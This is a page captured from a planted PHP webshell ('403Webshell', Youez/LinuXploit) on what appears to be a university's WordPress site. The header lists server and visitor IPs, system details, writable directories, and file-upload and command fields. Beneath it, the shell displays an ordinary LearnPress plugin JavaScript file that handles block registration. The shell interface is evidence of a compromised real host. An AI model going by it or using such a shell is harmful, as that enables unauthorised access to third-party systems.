403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/aecm.ihu.gr/wp-content/plugins/learnpress/assets/src/apps/js/blocks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/aecm.ihu.gr/wp-content/plugins/learnpress/assets/src/apps/js/blocks//utilBlock.js
/**
 * Check if the block can be loaded in the current template.
 *
 * @since 4.2.8.4
 * @version 1.0.0
 */
import { unregisterBlockType, getBlockType } from '@wordpress/blocks';
import { subscribe, select } from '@wordpress/data';

let currentPostIdOld = null;
const checkTemplatesCanLoadBlock = ( templates, metadata, callBack ) => {
	subscribe( () => {
		const metaDataNew = { ...metadata };
		const store = select( 'core/editor' ) || null;

		if ( ! store || typeof store.getCurrentPostId !== 'function' || ! store.getCurrentPostId() ) {
			return;
		}

		const currentPostId = store.getCurrentPostId();

		if ( currentPostId === null ) {
			return;
		}

		if ( currentPostIdOld === currentPostId ) {
			return;
		}

		currentPostIdOld = currentPostId;
		if ( getBlockType( metaDataNew.name ) ) {
			unregisterBlockType( metaDataNew.name );

			if ( templates.includes( currentPostId ) ) {
				metaDataNew.ancestor = null;
				callBack( metaDataNew );
			} else {
				if ( ! metaDataNew.ancestor ) {
					metaDataNew.ancestor = [];
				}
				callBack( metaDataNew );
			}
		}
	} );
};

export { checkTemplatesCanLoadBlock };

Youez - 2016 - github.com/yon3zu
LinuXploit